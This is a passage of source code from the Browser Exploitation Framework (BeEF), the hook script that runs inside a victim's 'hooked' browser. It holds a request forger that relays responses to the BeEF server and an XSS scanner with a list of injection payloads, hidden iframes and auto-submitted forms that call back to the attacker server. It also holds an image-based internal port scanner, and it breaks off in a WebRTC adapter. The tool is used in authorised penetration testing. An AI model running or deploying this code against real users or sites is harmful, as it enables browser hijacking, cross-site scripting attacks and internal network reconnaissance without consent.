  9212. }
  9213. } else if (typeof XDomainRequest != "undefined") {
  9214. xhr = new XDomainRequest();
  9215. xhr.open(method, url);
  9216. xhr.onerror = function() {
  9217. };
  9218. xhr.onload = function() {
  9219. response.headers = this.getAllResponseHeaders()
  9220. response.body = this.responseText;
  9221. response.status = this.status;
  9222. if (!!callback) {
  9223. if (!!response) {
  9224. callback(response);
  9225. } else {
  9226. callback('ERROR: No Response. CORS requests may be denied for this resource.')
  9227. }
  9228. }
  9229. };
  9230. xhr.send(data);
  9231. } else {
  9232. if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
  9233. }
  9234.  
  9235. }
  9236.  
  9237. };
  9238.  
  9239. beef.regCmp('beef.net.cors');
  9240.  
  9241.  
  9242.  
  9243. //
  9244. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  9245. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9246. // See the file 'doc/COPYING' for copying permission
  9247. //
  9248.  
  9249. /*!
  9250. * @literal object: beef.net.requester
  9251. *
  9252. * request object structure:
  9253. * + method: {String} HTTP method to use (GET or POST).
  9254. * + host: {String} hostname
  9255. * + query_string: {String} The query string is a part of the URL which is passed to the program.
  9256. * + uri: {String} The URI syntax consists of a URI scheme name.
  9257. * + headers: {Array} contain the operating parameters of the HTTP request.
  9258. */
  9259. beef.net.requester = {
  9260.  
  9261. handler: "requester",
  9262.  
  9263. send: function(requests_array) {
  9264. for(var i=0; i<requests_array.length; i++){
  9265. request = requests_array[i];
  9266. if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
  9267. beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
  9268. beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
  9269. function(res, requestid) { beef.net.send('/requester', requestid, {
  9270. response_data: res.response_body,
  9271. response_status_code: res.status_code,
  9272. response_status_text: res.status_text,
  9273. response_port_status: res.port_status,
  9274. response_headers: res.headers});
  9275. }
  9276. );
  9277. }
  9278. }
  9279. };
  9280.  
  9281. beef.regCmp('beef.net.requester');
  9282.  
  9283.  
  9284. /*
  9285. * XSS Rays
  9286. * Legal bit:
  9287. * Do not remove this notice.
  9288. * Copyright (c) 2009 by Gareth Heyes
  9289. * Programmed for Microsoft
  9290. * gareth --at-- businessinfo -dot- co |dot| uk
  9291. * Version 0.5.5
  9292. *
  9293. * This license governs use of the accompanying software. If you use the software, you
  9294. * accept this license. If you do not accept the license, do not use the software.
  9295. * 1. Definitions
  9296. * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
  9297. * same meaning here as under U.S. copyright law.
  9298. * A "contribution" is the original software, or any additions or changes to the software.
  9299. * A "contributor" is any person that distributes its contribution under this license.
  9300. * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
  9301. * 2. Grant of Rights
  9302. * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
  9303. * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
  9304. * 3. Conditions and Limitations
  9305. * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
  9306. * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
  9307. * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
  9308. * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
  9309. * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
  9310. */
  9311.  
  9312. /*
  9313. * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
  9314. * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
  9315. * if the vulnerability is triggered the JS code vector will contact back BeEF.
  9316. * Other aspects of the original code have been simplified and improved.
  9317. */
  9318. beef.net.xssrays = {
  9319. handler: "xssrays",
  9320. completed:0,
  9321. totalConnections:0,
  9322.  
  9323. // BeEF variables
  9324. xssraysScanId : 0,
  9325. hookedBrowserSession: "",
  9326. beefRayUrl: "",
  9327. // the 3 following variables are overridden via BeEF, in the Scan Config XssRays sub-tab.
  9328. crossDomain: false,
  9329. debug:false,
  9330. cleanUpTimeout:5000,
  9331.  
  9332. //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
  9333. vectors: [
  9334.  
  9335. {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
  9336. {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
  9337. {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
  9338. {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
  9339. {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
  9340. {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  9341. {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
  9342. {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  9343. {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  9344. {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
  9345. {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
  9346. {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
  9347. {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
  9348. {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
  9349. {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
  9350. {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
  9351. {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
  9352. {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
  9353. {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
  9354. ],
  9355. uniqueID: 0,
  9356. rays: [],
  9357. stack: [],
  9358.  
  9359. // return true is the attack vector can be launched to the current browser type.
  9360. checkBrowser:function(vector_array_index){
  9361. var result = false;
  9362. var browser_id = this.vectors[vector_array_index].browser;
  9363. switch (browser_id){
  9364. case "ALL":
  9365. result = true;
  9366. break;
  9367. case "FF":
  9368. if(beef.browser.isFF())result=true;
  9369. break;
  9370. case "IE":
  9371. if(beef.browser.isIE())result=true;
  9372. break;
  9373. case "C":
  9374. if(beef.browser.isC())result=true;
  9375. break;
  9376. case "S":
  9377. if(beef.browser.isS())result=true;
  9378. break;
  9379. case "O":
  9380. if(beef.browser.isO())result=true;
  9381. break;
  9382. default : result = false;
  9383. }
  9384. beef.net.xssrays.printDebug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
  9385. return result;
  9386. },
  9387.  
  9388. // util function. Print string to the console only if the debug flag is on and the browser is not IE.
  9389. printDebug:function(log) {
  9390. if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
  9391. beef.debug("[XssRays] " + log);
  9392. }
  9393. },
  9394.  
  9395. // main function, where all starts :-)
  9396. startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout, debug) {
  9397.  
  9398. this.xssraysScanId = xssraysScanId;
  9399. this.hookedBrowserSession = hookedBrowserSession;
  9400. this.beefRayUrl = beefUrl + '/' + this.handler;
  9401. beef.net.xssrays.printDebug("Using [" + this.beefRayUrl + "] handler to contact back BeEF");
  9402. this.crossDomain = crossDomain;
  9403. this.cleanUpTimeout = timeout;
  9404. this.debug = debug;
  9405.  
  9406. this.scan();
  9407. beef.net.xssrays.printDebug("Starting scan");
  9408. this.runJobs();
  9409. },
  9410. complete:function() {
  9411. if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
  9412. beef.net.xssrays.printDebug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
  9413. $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
  9414. } else {
  9415. this.getNextJob();
  9416. }
  9417. },
  9418. getNextJob:function() {
  9419. var that = this;
  9420. beef.net.xssrays.printDebug("getNextJob - this.stack.length [" + this.stack.length + "]");
  9421. if (this.stack.length > 0) {
  9422. var func = that.stack.shift();
  9423. if (func) {
  9424. that.completed++;
  9425. func.call(that);
  9426. }
  9427. }else{ //nothing else to scan
  9428. this.complete();
  9429. }
  9430. },
  9431. scan:function() {
  9432. this.scanLinks();
  9433. this.scanForms();
  9434. },
  9435. scanPaths:function() {
  9436. this.xss({type:'path'});
  9437. return this;
  9438. },
  9439. scanForms: function() {
  9440. this.xss({type:'form'});
  9441. return this;
  9442. },
  9443. scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
  9444. beef.net.xssrays.printDebug("scanLinks, document.links.length [" + document.links.length + "]");
  9445. for (var i = 0; i < document.links.length; i++) {
  9446. var url = document.links[i];
  9447.  
  9448. if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
  9449. beef.net.xssrays.printDebug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
  9450. "\n url.pathname => " + url.pathname + "\n" +
  9451. "url.search => " + url.search + "\n");
  9452. this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
  9453. search:url.search, type: 'url'});//scan each link & param
  9454. } else {
  9455. if (this.debug) {
  9456. beef.net.xssrays.printDebug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString());
  9457. beef.net.xssrays.printDebug('\nlocation :' + location.hostname.toString());
  9458. }
  9459. }
  9460. }
  9461. if (location.search.length > 0) {
  9462. this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
  9463. }
  9464. return this;
  9465. },
  9466. xss:function(target) {
  9467. switch (target.type) {
  9468. case "url":
  9469. if (target.search.length > 0) {
  9470. target.search = target.search.slice(1);
  9471. target.search = target.search.split(/&|&amp;/);
  9472.  
  9473. if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
  9474. var pathname = "/" + target.pathname;
  9475. }else{
  9476. var pathname = target.pathname;
  9477. }
  9478.  
  9479. var params = {};
  9480. for (var i = 0; i < target.search.length; i++) {
  9481. target.search[i] = target.search[i].split('=');
  9482. params[target.search[i][0]] = target.search[i][1];
  9483. }
  9484. for (var i = 0; i < this.vectors.length; i++) {
  9485. // skip the current vector if it's not compatible with the hooked browser
  9486. if (!this.checkBrowser(i)){
  9487. beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
  9488. continue;
  9489. }
  9490. if (!this.vectors[i].url) {
  9491. continue;
  9492. }
  9493. if (this.vectors[i].url) {
  9494. if (target.port == null || target.port == "") {
  9495. beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
  9496. this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
  9497. } else {
  9498. beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
  9499. this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
  9500. }
  9501. }
  9502. if (this.vectors[i].path) {
  9503. if (target.port == null || target.port == "") {
  9504. beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
  9505. this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
  9506. } else {
  9507. beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
  9508. this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
  9509. }
  9510. }
  9511. }
  9512. }
  9513. break;
  9514. case "form":
  9515. var params = {};
  9516. var paramsstring = "";
  9517. for (var i = 0; i < document.forms.length; i++) {
  9518. var action = document.forms[i].action || document.location;
  9519. var method = document.forms[i].method.toUpperCase() === 'POST' ?
  9520. 'POST' :
  9521. 'GET';
  9522.  
  9523. for (var j = 0; j < document.forms[i].elements.length; j++) {
  9524. params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
  9525. }
  9526. for (var k = 0; k < this.vectors.length; k++) {
  9527.  
  9528. // skip the current vector if it's not compatible with the hooked browser
  9529. if (!this.checkBrowser(k)){
  9530. beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
  9531. continue;
  9532. }
  9533. if (!this.vectors[k].form) {
  9534. continue;
  9535. }
  9536. if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
  9537. if (this.debug) {
  9538. beef.net.xssrays.printDebug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString());
  9539. beef.net.xssrays.printDebug('location :' + this.host(location));
  9540. }
  9541. continue;
  9542. }
  9543. if (this.vectors[k].form) {
  9544. if (method === 'GET') {
  9545. beef.net.xssrays.printDebug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
  9546. this.run(action, method, this.vectors[k], params, true);//params
  9547. }
  9548. else {
  9549. beef.net.xssrays.printDebug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
  9550. this.run(action, method, this.vectors[k], params, false);//params
  9551. }
  9552. }
  9553. if (this.vectors[k].path) {
  9554. beef.net.xssrays.printDebug("Starting XSS on FORM action URI PATH of [" + action + "], ");
  9555. this.run(action, 'GET', this.vectors[k], null, true);//paths
  9556. }
  9557. }
  9558. }
  9559. break;
  9560. }
  9561. },
  9562. host: function(url) {
  9563. var host = url;
  9564. host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
  9565. ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
  9566. : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
  9567. ? ''
  9568. : location.hostname.toString();
  9569. return host;
  9570. },
  9571. fileName: function(url) {
  9572. return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
  9573. },
  9574.  
  9575. urlEncode: function(str) {
  9576. str = str.toString();
  9577. str = str.replace(/"/g, '%22');
  9578. str = str.replace(/&/g, '%26');
  9579. str = str.replace(/\+/g, '%2b');
  9580. return str;
  9581. },
  9582.  
  9583. // this is the main core function with the detection mechanisms...
  9584. run: function(url, method, vector, params, urlencode) {
  9585. this.stack.push(function() {
  9586.  
  9587. //check if the URL end with / . In this case remove the last /, as it will be added later.
  9588. // this check is needed only when checking for URI path injections
  9589. if(url[url.length - 1] == "/" && params == null){
  9590. url = url.substring(0, url.length - 2);
  9591. beef.net.xssrays.printDebug("Remove last / from url. New url [" + url + "]");
  9592. }
  9593.  
  9594. beef.net.xssrays.uniqueID++;
  9595. beef.net.xssrays.printDebug('Processing vector [' + vector.name + "], URL [" + url + "]");
  9596. var poc = '';
  9597. var pocurl = url;
  9598. var exploit = '';
  9599. var action = url;
  9600.  
  9601.  
  9602. beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
  9603. var ray = this.rays[beef.net.xssrays.uniqueID];
  9604.  
  9605. var paramsPos = 0;
  9606. if (params != null) {
  9607. /*
  9608. * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
  9609. */
  9610. for (var i in params) {
  9611. if (params.hasOwnProperty(i)) {
  9612.  
  9613. if (!/[?]/.test(url)) {
  9614. url += '?';
  9615. pocurl += '?';
  9616. }
  9617.  
  9618. poc = vector.input.replace(/XSS/g, "alert(1)");
  9619. pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
  9620.  
  9621. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  9622. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  9623.  
  9624. beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  9625. + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  9626.  
  9627. exploit = vector.input.replace(/XSS/g, beefCallback);
  9628.  
  9629. if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
  9630. url += i + '=' + exploit + '&';
  9631. }else{
  9632. url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
  9633. }
  9634.  
  9635. paramsPos++;
  9636. }
  9637. }
  9638. } else {
  9639. /*
  9640. * ++++++++++ check for XSS in URI path (GET) ++++++++++
  9641. */
  9642. var filename = beef.net.xssrays.fileName(url);
  9643.  
  9644. poc = vector.input.replace(/XSS/g, "alert(1)");
  9645. pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
  9646.  
  9647.  
  9648. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  9649. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  9650.  
  9651. beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  9652. + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  9653.  
  9654. exploit = vector.input.replace(/XSS/g, beefCallback);
  9655.  
  9656. //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
  9657. //TODO: this need to checked and the slash shouldn't be added in this particular case
  9658. url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
  9659. }
  9660. /*
  9661. * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
  9662. */
  9663. if(beef.browser.isIE()){
  9664. try {
  9665. var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
  9666. } catch (e) {
  9667. var iframe = document.createElement('iframe');
  9668. iframe.name = 'ray' + Math.random().toString();
  9669. }
  9670. }else{
  9671. var iframe = document.createElement('iframe');
  9672. iframe.name = 'ray' + Math.random().toString();
  9673. }
  9674. iframe.style.display = 'none';
  9675. iframe.id = 'ray' + beef.net.xssrays.uniqueID;
  9676. iframe.time = beef.net.xssrays.timestamp();
  9677.  
  9678. if (method === 'GET') {
  9679. if(beef.browser.isC() || beef.browser.isS()){
  9680. var datauri = btoa(url);
  9681. iframe.src = "data:text/html;base64," + datauri;
  9682. }else{
  9683. iframe.src = url;
  9684. }
  9685. document.body.appendChild(iframe);
  9686. beef.net.xssrays.printDebug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
  9687. } else if (method === 'POST') {
  9688. /*
  9689. * ++++++++++ check for XSS in body parameters (POST) ++++++++++
  9690. */
  9691. var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
  9692. poc = '';
  9693. pocurl = action + "?";
  9694. paramsPos = 0;
  9695.  
  9696. beef.net.xssrays.printDebug("Form action [" + action + "]");
  9697. for (var i in params) {
  9698. if (params.hasOwnProperty(i)) {
  9699.  
  9700. poc = vector.input.replace(/XSS/g, "alert(1)");
  9701. poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
  9702. pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
  9703.  
  9704. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  9705. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  9706.  
  9707. beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  9708. + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  9709.  
  9710. exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
  9711. form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
  9712. beef.net.xssrays.printDebug("form param[" + i + "] = " + params[i].toString());
  9713.  
  9714. paramsPos++;
  9715. }
  9716. }
  9717. form += '<\/form>';
  9718. document.body.appendChild(iframe);
  9719. beef.net.xssrays.printDebug("Creating form [" + form + "]");
  9720. iframe.contentWindow.document.writeln(form);
  9721. iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
  9722. beef.net.xssrays.printDebug("Submitting form");
  9723. }
  9724.  
  9725. });
  9726. },
  9727.  
  9728. // run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
  9729. runJobs: function() {
  9730. var that = this;
  9731. this.totalConnections = this.stack.length;
  9732. that.getNextJob();
  9733. setInterval(function() {
  9734. var numOfConnections = 0;
  9735. for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
  9736. var iframe = document.getElementsByTagName('iframe')[i];
  9737. numOfConnections++;
  9738. //beef.net.xssrays.printDebug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
  9739. if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
  9740. try{
  9741. if (iframe) {
  9742. beef.net.xssrays.complete();
  9743. beef.net.xssrays.printDebug("RunJobs cleaning up iFrame [" + iframe.id + "]");
  9744. document.body.removeChild(iframe);
  9745. }
  9746. }catch(e){beef.net.xssrays.printDebug("Exception [" + e.toString() + "] when cleaning iframes.")}
  9747. }
  9748. }
  9749.  
  9750. if (numOfConnections == 0) {
  9751. clearTimeout(this);
  9752. }
  9753.  
  9754. }, this.cleanUpTimeout);
  9755.  
  9756. return this;
  9757. },
  9758. timestamp: function() {
  9759. return parseInt(new Date().getTime().toString().substring(0, 10));
  9760. },
  9761. escape: function(str) {
  9762. str = str.toString();
  9763. str = str.replace(/</g, '&lt;');
  9764. str = str.replace(/>/g, '&gt;');
  9765. str = str.replace(/\u0022/g, '&quot;');
  9766. str = str.replace(/\u0027/g, '&#39;');
  9767. str = str.replace(/\\/g, '&#92;');
  9768. return str;
  9769. }
  9770.  
  9771. };
  9772.  
  9773. beef.regCmp('beef.net.xssrays');
  9774.  
  9775.  
  9776. //
  9777. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  9778. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9779. // See the file 'doc/COPYING' for copying permission
  9780. //
  9781.  
  9782. /*!
  9783. * @literal object: beef.net.portscanner
  9784. *
  9785. * Provides port scanning functions for the zombie. A mod of pdp's scanner
  9786. *
  9787. * Version: '0.1',
  9788. * author: 'Petko Petkov',
  9789. * homepage: 'http://www.gnucitizen.org'
  9790. */
  9791.  
  9792. beef.net.portscanner = {
  9793.  
  9794. scanPort: function(callback, target, port, timeout)
  9795. {
  9796. var timeout = (timeout == null)?100:timeout;
  9797. var img = new Image();
  9798.  
  9799. img.onerror = function () {
  9800. if (!img) return;
  9801. img = undefined;
  9802. callback(target, port, 'open');
  9803. };
  9804.  
  9805. img.onload = img.onerror;
  9806.  
  9807. img.src = 'http://' + target + ':' + port;
  9808.  
  9809. setTimeout(function () {
  9810. if (!img) return;
  9811. img = undefined;
  9812. callback(target, port, 'closed');
  9813. }, timeout);
  9814.  
  9815. },
  9816.  
  9817. scanTarget: function(callback, target, ports_str, timeout)
  9818. {
  9819. var ports = ports_str.split(",");
  9820.  
  9821. for (index = 0; index < ports.length; index++) {
  9822. this.scanPort(callback, target, ports[index], timeout);
  9823. };
  9824.  
  9825. }
  9826. };
  9827.  
  9828. beef.regCmp('beef.net.portscanner');
  9829.  
  9830.  
  9831.  
  9832. //
  9833. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  9834. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9835. // See the file 'doc/COPYING' for copying permission
  9836. //
  9837.  
  9838. beef.are = {
  9839. status_success: function(){
  9840. return 1;
  9841. },
  9842. status_unknown: function(){
  9843. return 0;
  9844. },
  9845. status_error: function(){
  9846. return -1;
  9847. }
  9848. };
  9849. beef.regCmp("beef.are");
  9850.  
  9851.  
  9852. /*
  9853. * Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
  9854. *
  9855. * Use of this source code is governed by a BSD-style license
  9856. * that can be found in the LICENSE file in the root of the source
  9857. * tree.
  9858. */
  9859.  
  9860. /* More information about these options at jshint.com/docs/options */
  9861. /* jshint browser: true, camelcase: true, curly: true, devel: true,
  9862. eqeqeq: true, forin: false, globalstrict: true, node: true,
  9863. quotmark: single, undef: true, unused: strict */
  9864. /* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
  9865. mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
  9866. /* exported trace,requestUserMedia */
  9867.  
  9868. 'use strict';
  9869.  
  9870. var getUserMedia = null;
  9871. var attachMediaStream = null;
  9872. var reattachMediaStream = null;
  9873. var webrtcDetectedBrowser = null;
  9874. var webrtcDetectedVersion = null;
  9875. var webrtcMinimumVersion = null;
  9876.  
  9877. function trace(text) {
  9878. // This function is used for logging.
  9879. if (text[text.length - 1] === '\n') {
  9880. text = text.substring(0, text.length - 1);
  9881. }
  9882. if (window.performance) {
  9883. var now = (window.performance.now() / 1000).toFixed(3);
  9884. beef.debug(now + ': ' + text);
  9885. } else {
  9886. beef.debug(text);
  9887. }
  9888. }
  9889.  
  9890. if (navigator.mozGetUserMedia) {
  9891.  
  9892. webrtcDetectedBrowser = 'firefox';
  9893.  
  9894. // the detected firefox version.
  9895. webrtcDetectedVersion =
  9896. parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
  9897.  
  9898. // the minimum firefox version still supported by adapter.
  9899. webrtcMinimumVersion = 31;
  9900.  
  9901. // The RTCPeerConnection object.
  9902. window.RTCPeerConnection = function(pcConfig, pcConstraints) {
  9903. if (webrtcDetectedVersion < 38) {
  9904. // .urls is not supported in FF < 38.
  9905. // create RTCIceServers with a single url.
  9906. if (pcConfig && pcConfig.iceServers) {
  9907. var newIceServers = [];
  9908. for (var i = 0; i < pcConfig.iceServers.length; i++) {
  9909. var server = pcConfig.iceServers[i];
  9910. if (server.hasOwnProperty('urls')) {
  9911. for (var j = 0; j < server.urls.length; j++) {
  9912. var newServer = {
  9913. url: server.urls[j]
  9914. };
  9915. if (server.urls[j].indexOf('turn') === 0) {
  9916. newServer.username = server.username;
  9917. newServer.credential = server.credential;
  9918. }
  9919. newIceServers.push(newServer);
  9920. }
  9921. } else {
  9922. newIceServers.push(pcConfig.iceServers[i]);
  9923. }
  9924. }
  9925. pcConfig.iceServers = newIceServers;
  9926. }
  9927. }
  9928. return new mozRTCPeerConnection(pcConfig, pcConstraints);
  9929. };
  9930.  
  9931. try {
  9932. // The RTCSessionDescription object.
  9933. window.RTCSessionDescription = mozRTCSessionDescription;
  9934.  
  9935. // The RTCIceCandidate object.
